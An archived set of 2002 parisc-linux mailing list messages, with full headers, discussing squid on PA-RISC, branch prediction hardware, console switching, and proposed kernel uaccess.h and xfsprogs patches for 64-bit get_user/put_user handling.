X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SQUID failled :(
Date: Sat, 26 Oct 2002 17:50:12 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <3DBAD5D4.8020900@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621864 16035 80.91.229.3 (22 Nov 2014 02:04:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 26 10:44:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A688484E
	for <parisc-linux@lists.parisc-linux.org>; Sat, 26 Oct 2002 10:44:07 -0600 (MDT)
Original-Received: from [62.235.70.66] (helo=freebel.net)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 185U2d-0000ry-00; Sat, 26 Oct 2002 18:44:03 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020913 Debian/1.1-1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16598

Hi all,

Is somebody reach to make squid running on a woody pa-box?

I install it (to replace a old pentium 100Mhz box).

Well it start some second(s) then stop without any message anywhere 
(even if I start it with -X)?
The check of the config file is ok!

Thanks in advance for all adivise,
	Joel

PS: the running kernel is the last 2.4.19-pa22 32bits dpkg released (for 
the rest all is woody)



From - Thu Nov 08 21:25:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Branch Prediction
Date: Sat, 26 Oct 2002 13:05:04 -0400 (EDT)
Lines: 48
Approved: news@gmane.org
Message-ID: <200210261705.g9QH54Zx002355@hiauly1.hia.nrc.ca>
References: <20021026051138.248F24834@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621864 16036 80.91.229.3 (22 Nov 2014 02:04:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@dsl2.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 26 11:05:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8C383484E
	for <parisc-linux@lists.parisc-linux.org>; Sat, 26 Oct 2002 11:05:09 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g9QH5400002357;
	Sat, 26 Oct 2002 13:05:05 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g9QH54Zx002355;
	Sat, 26 Oct 2002 13:05:04 -0400 (EDT)
In-Reply-To: <20021026051138.248F24834@dsl2.external.hp.com> from "Grant Grundler" at Oct 25, 2002 11:11:38 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16599

> "John David Anglin" wrote:
> > Does anyone know which PA processors if any implement the BTS?
> 
> No clue. I had to read the PA2.0 arch book (page 6-15, "Branch 
> Target Stack) to learn what this is and what it does.

I did a quick hack to gcc yesterday to try it on the a500.  It
didn't seem to make any difference, so I think the PA-8500 doesn't
have a branch target stack.  I wonder if the PA-8700 in the rp2470
has it?  I suppose it also could be an add-on chip.

It's fairly easy to implement and the assembler already supports
the feature.  However, there might be issues with software compiled
without the feature not inter-operating with software compiled
with it.  For call-return acceleration, the safe solution of
pushing the return in the callee results in reduced performance.
You have to do the push in the call.  Maybe I will add this
as an option if there is actually some gear that has the option.

> Anyay, it would be interesting to know if HPUX's acc uses it.
> ie did it's usage ever get validated for both systems that do
> and don't implement BTS?
> 
> > I was also wondering about the ITLB P bit and what parisc-linux does
> > with it.  The came up in regard to accelerating branches for calls
> > and returns.
> 
> It sounds like parisc-linux does nothing with P-bit.
> We could just always enable it if you think that's the right
> thing to do for now. Looks like could be done by adding one more
> insn to itlb_miss_common_20w in entry.S.

I am guessing but I think setting it would help on machines with
dynamic prediction hardware.  There is probably a paper somewhere
on this on the HP site.  I tried to find info on the branch target
stack but didn't have any success.

My understanding is that pc-relative branches can be predicted
from examination of the code.  Indirect branches (e.g., call
returns) can't.  I don't know how the dynamic prediction hardware
works but I would think it wouldn't be there if it didn't
improve branch prediction.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "posix" <p0six@gmx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] A few questions
Date: Sat, 26 Oct 2002 21:27:38 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <000901c27d25$c18647a0$0100a8c0@posix2paebsbtq>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0006_01C27D36.82459760"
X-Trace: ger.gmane.org 1416621864 16038 80.91.229.3 (22 Nov 2014 02:04:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:24 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 26 13:28:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id E9A6A484E
	for <parisc-linux@parisc-linux.org>; Sat, 26 Oct 2002 13:27:58 -0600 (MDT)
Original-Received: (qmail 15561 invoked by uid 0); 26 Oct 2002 19:27:53 -0000
Original-Received: from h216n3fls21o906.telia.com (HELO posix2paebsbtq) (213.65.70.216)
  by mail.gmx.net (mp016-rz3) with SMTP; 26 Oct 2002 19:27:53 -0000
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16600

This is a multi-part message in MIME format.

------=_NextPart_000_0006_01C27D36.82459760
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi!
I was wondering if there is another way than what is descriped in the =
PA-RISC/linux-bootHOWTO to exit serial console and enter graphics =
console?

I would really appreciate an answer //Patrick
------=_NextPart_000_0006_01C27D36.82459760
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2800.1106" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi!<BR>I was wondering if there is =
another way than=20
what is descriped in the PA-RISC/linux-bootHOWTO to exit serial console =
and=20
enter graphics console?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I would really appreciate an answer=20
//Patrick</FONT></DIV></BODY></HTML>

------=_NextPart_000_0006_01C27D36.82459760--



From - Thu Nov 08 21:25:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: mkfs.xfs (xfsprogs-2.3.5) failled
Date: Sat, 26 Oct 2002 14:18:22 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20021026211822.GJ22052@tausq.org>
References: <3DB5776100000C32@ocpmta8.be.tiscali.com> <3DBAD364.9060301@freebel.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621865 16039 80.91.229.3 (22 Nov 2014 02:04:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:25 +0000 (UTC)
Cc: jsoe0708@tiscali.be, Stefan Pfetzing <dreamind@dreamind.de>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <joel.soete@freebel.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 26 15:18:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5326E484E
	for <parisc-linux@lists.parisc-linux.org>; Sat, 26 Oct 2002 15:18:00 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 526EDCD83C; Sat, 26 Oct 2002 14:18:22 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <3DBAD364.9060301@freebel.net>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16601

In reference to a message from Joel Soete, dated Oct 26:
> i386 declare: "extern void __get_user_bad(void);"
> ...
> but not define elsewhere? (is it there so that the build of the kernel 
> failed if that case was requested to run properly?)

yes.

> PS: afaik on i386 only put_user_u64 is define why not pending get_user?

on first glance i haven't found any code that uses get_user with 64-bit
quantities. if you have a specific need for this, please let me know.

in the mean time, i've checked in support for put_user with 64-bit
values. This is in 2.4.19-pa24

Let me know if this works for you. i've tested it only lightly.

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:25:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: mkfs.xfs (xfsprogs-2.3.5) failled
Date: Sat, 26 Oct 2002 23:40:45 +0000
Lines: 174
Approved: news@gmane.org
Message-ID: <3DBB27FD.1000704@freebel.net>
References: <3DB5776100000C32@ocpmta8.be.tiscali.com> <3DBAD364.9060301@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621865 16040 80.91.229.3 (22 Nov 2014 02:04:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:25 +0000 (UTC)
Cc: jsoe0708@tiscali.be, Randolph Chung <randolph@tausq.org>,
	Stefan Pfetzing <dreamind@dreamind.de>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <joel.soete@freebel.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 26 16:34:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8AAEF484E
	for <parisc-linux@lists.parisc-linux.org>; Sat, 26 Oct 2002 16:34:43 -0600 (MDT)
Original-Received: from [62.235.69.124] (helo=freebel.net)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 185ZVs-00069A-00; Sun, 27 Oct 2002 00:34:36 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020913 Debian/1.1-1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16602


Joel Soete wrote:
> Hmm question about "default:" uaccess.h implementation on different 
> platform:
> 
> i386 declare: "extern void __get_user_bad(void);"
> 
> ia64: "extern void __get_user_unknown (void);"
> 
> mips: "extern void __get_user_unknown(void);"
> ...
> but not define elsewhere? (is it there so that the build of the kernel 
> failed if that case was requested to run properly?)

In the mean time I verify this hypothesis. So may I suggest a patch in 
this direction?

[Better would be to add _also_ support as in the patch I suggest in 
<http://lists.parisc-linux.org/pipermail/parisc-linux/2002-October/017887.html>
this was tested for __put_user_asm_64 && __put_kernel_asm_64 (not the 
corresponding __get_ :( I don't know yet if I can use a .fixup section ?)

May be some other could test and verify closer this part ?

Joel

> 
> Thanks in advance for attention,
>     Joel
> 
> PS: afaik on i386 only put_user_u64 is define why not pending get_user?
> 
> 
> jsoe0708@tiscali.be wrote:
> 
>> too bad:
>>
>>  man ioctl advise that it would return -1 (not ENOTSUP which would be 
>> assign
>> to errno) I will try to see how?
>>
>> Sorry to annoy,
>>     Joel
>>
>>
>>> -- Original Message --
>>> From: jsoe0708@tiscali.be
>>> Subject: Re: [parisc-linux] Re: mkfs.xfs (xfsprogs-2.3.5) failled
>>> To: "Randolph Chung" <randolph@tausq.org>,
>>>     "Stefan Pfetzing" <dreamind@dreamind.de>
>>> Cc: parisc-linux@lists.parisc-linux.org
>>> Date: Fri, 25 Oct 2002 14:58:42 +0200
>>>
>>>
>>> Hi Randolph,
>>>
>>> It sure I found a bug in the two parts kernel and xfs.
>>>
>>> A. The kernel hppa: put_user and get_user does just a printk for BUG 
>>> messages
>>> but don't return error code as ENOTSUP (or what else) (what I assume the
>>> other platforms does when they do not yet support BLKGETSIZE64?)
>>>
>>> Here is a small patch I suggest:
>>> (I do not reach to implement an operational support of BLKGETSIZE64 [for
>>> 32bits kernel]; I do not find a easy way to manage code failure :-( )
>>>
>>> --- uaccess.h.orig    2002-10-22 15:14:54.000000000 +0200
>>> +++ uaccess.h    2002-10-23 13:46:48.000000000 +0200
>>> @@ -35,10 +35,10 @@
>>> #define get_user __get_user
>>>
>>> #if BITS_PER_LONG == 32
>>> -#define LDD_KERNEL(ptr)        BUG()
>>> -#define LDD_USER(ptr)        BUG()
>>> -#define STD_KERNEL(x, ptr)    BUG()
>>> -#define STD_USER(x, ptr)    BUG()
>>> +#define LDD_KERNEL(ptr)        BUG(); __gu_err=ENOTSUP;
>>> +#define LDD_USER(ptr)        BUG(); __gu_err=ENOTSUP;
>>> +#define STD_KERNEL(x, ptr)    BUG(); __pu_err=ENOTSUP;
>>> +#define STD_USER(x, ptr)    BUG(); __pu_err=ENOTSUP;
>>> #else
>>> #define LDD_KERNEL(ptr) __get_kernel_asm("ldd",ptr)
>>> #define LDD_USER(ptr) __get_user_asm("ldd",ptr)
>>> @@ -75,7 +75,7 @@
>>>         case 2: __get_kernel_asm("ldh",ptr); break; \
>>>         case 4: __get_kernel_asm("ldw",ptr); break; \
>>>         case 8: LDD_KERNEL(ptr); break;        \
>>> -        default: BUG(); break;                      \
>>> +        default: BUG(); __gu_err=ENOTSUP; break;    \
>>>         }                                           \
>>>     }                                               \
>>>     else {                                          \
>>> @@ -84,7 +84,7 @@
>>>         case 2: __get_user_asm("ldh",ptr); break;   \
>>>         case 4: __get_user_asm("ldw",ptr); break;   \
>>>         case 8: LDD_USER(ptr);  break;        \
>>> -        default: BUG(); break;                      \
>>> +        default: BUG(); __gu_err=ENOTSUP; break;    \
>>>         }                                           \
>>>     }                                               \
>>>                             \
>>> @@ -144,7 +144,7 @@
>>>         case 2: __put_kernel_asm("sth",x,ptr); break;       \
>>>         case 4: __put_kernel_asm("stw",x,ptr); break;       \
>>>         case 8: STD_KERNEL(x,ptr); break;            \
>>> -        default: BUG(); break;                              \
>>> +        default: BUG(); __pu_err=ENOTSUP; break;        \
>>>         }                                                   \
>>>     }                                                       \
>>>     else {                                                  \
>>> @@ -153,7 +153,7 @@
>>>         case 2: __put_user_asm("sth",x,ptr); break;         \
>>>         case 4: __put_user_asm("stw",x,ptr); break;         \
>>>         case 8: STD_USER(x,ptr); break;            \
>>> -        default: BUG(); break;                              \
>>> +        default: BUG(); __pu_err=ENOTSUP; break;        \
>>>         }                                                   \
>>>     }                                                       \
>>>                                 \
>>>
>>> If all agreed, (awaiting better :?) can somebody ci it?
>>>
>>>
>>> Thanks in advance for attention,
>>>   Joel
>>>
>>> PS: B. in xfs:
>>>
>>>     error = ioctl(fd, BLKGETSIZE64, &size);
>>> -    if (error >= 0) {
>>> +    if (!error) {
>>>         /* BLKGETSIZE64 returns size in bytes not 512-byte blocks */
>>>
>>> AFAIK ioctl should return error=0 if success and error <>0 (>0?)
>>> here is the full patch I will suggest:
>>>
>>> --- cmd/xfsprogs/libxfs/init.c.orig    2002-10-25 12:12:29.000000000 
>>> +0200
>>> +++ cmd/xfsprogs/libxfs/init.c    2002-10-25 14:22:34.000000000 +0200
>>> @@ -155,11 +155,14 @@
>>>             progname, path, strerror(errno));
>>>         exit(1);
>>>     }
>>> +#if !defined(__hppa__) || defined(__LP64__)
>>>     error = ioctl(fd, BLKGETSIZE64, &size);
>>> -    if (error >= 0) {
>>> +    if (!error) {
>>>         /* BLKGETSIZE64 returns size in bytes not 512-byte blocks */
>>>         size = size >> 9;
>>> -    } else {
>>> +    } else
>>> +#endif
>>> +        {
>>>         /* If BLKGETSIZE64 fails, try BLKGETSIZE */
>>>         unsigned long tmpsize;
>>>         error = ioctl(fd, BLKGETSIZE, &tmpsize);
>>>
>>> _______________________________________________
>>> parisc-linux mailing list
>>> parisc-linux@lists.parisc-linux.org
>>> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>>
>>
>>
>> _______________________________________________
>> parisc-linux mailing list
>> parisc-linux@lists.parisc-linux.org
>> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>>
> 
> 



From - Thu Nov 08 21:25:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: mkfs.xfs (xfsprogs-2.3.5) failled
Date: Sun, 27 Oct 2002 00:32:35 +0000
Lines: 61
Approved: news@gmane.org
Message-ID: <3DBB3423.5020408@freebel.net>
References: <3DB5776100000C32@ocpmta8.be.tiscali.com> <3DBAD364.9060301@freebel.net> <20021026211822.GJ22052@tausq.org> <3DBB30C0.6060000@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621865 16043 80.91.229.3 (22 Nov 2014 02:04:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 26 17:26:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id B5156485A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 26 Oct 2002 17:26:29 -0600 (MDT)
Original-Received: from [62.235.69.124] (helo=freebel.net)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 185aK0-0007d0-00; Sun, 27 Oct 2002 01:26:25 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020913 Debian/1.1-1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16603

__pu_err disapear in ..asm64?
It doesn't seems to be an error, so don't we need anymore??

Joel Soete wrote:
> 
> 
> Randolph Chung wrote:
> 
>> In reference to a message from Joel Soete, dated Oct 26:
>>
>>> i386 declare: "extern void __get_user_bad(void);"
>>> ...
>>> but not define elsewhere? (is it there so that the build of the 
>>> kernel failed if that case was requested to run properly?)
>>
>>
>>
>> yes.
>>
>>
>>> PS: afaik on i386 only put_user_u64 is define why not pending get_user?
>>
>>
>>
>> on first glance i haven't found any code that uses get_user with 64-bit
>> quantities.
> 
> 
> Not found too.
> 
>> if you have a specific need for this, please let me know.
> 
> 
> No spefic need, thanks. It was just because mips (32bits) already 
> foreseen it and it would be already complete :)
> 
>>
>> in the mean time, i've checked in support for put_user with 64-bit
>> values. This is in 2.4.19-pa24
> 
> 
> Great, I will test it (in fact I was not so far; just a problem of 
> writing the right way).
> 
> Anyway couldn't we also consider __get_user_bad() and __get_kernel_bad() 
> for _default:_ case (just to avoid erronious case: with the problem 
> encounter with xfs test I was near to loose all my system :(( )?
> 
>>
>> Let me know if this works for you. i've tested it only lightly.
>>
> Just have to wait a few days to test at office.
> 
> Thanks again.
> 
> See you,
>     Joel
> 
> 



From - Thu Nov 08 21:25:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Branch Prediction
Date: Sat, 26 Oct 2002 19:23:03 -0600
Lines: 34
Approved: news@gmane.org
Message-ID: <20021027012303.7B576484E@dsl2.external.hp.com>
References: <200210261705.g9QH54Zx002355@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621866 16044 80.91.229.3 (22 Nov 2014 02:04:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 26 19:23:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 7B576484E; Sat, 26 Oct 2002 19:23:03 -0600 (MDT)
In-Reply-To: Message from "John David Anglin" <dave@hiauly1.hia.nrc.ca> 
   of "Sat, 26 Oct 2002 13:05:04 EDT." <200210261705.g9QH54Zx002355@hiauly1.hia.nrc.ca> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16604

"John David Anglin" wrote:
> I wonder if the PA-8700 in the rp2470 has it?

gsyprf11 is a 650Mhz PA8700. please try it.

> I suppose it also could be an add-on chip.

Think so?
After reading the description I had the impression BTS has to be on chip
and integrated in order to get the speed. But I'm just a SW engineer...

> I am guessing but I think setting it would help on machines with
> dynamic prediction hardware.  There is probably a paper somewhere
> on this on the HP site.

> My understanding is that pc-relative branches can be predicted
> from examination of the code.  Indirect branches (e.g., call
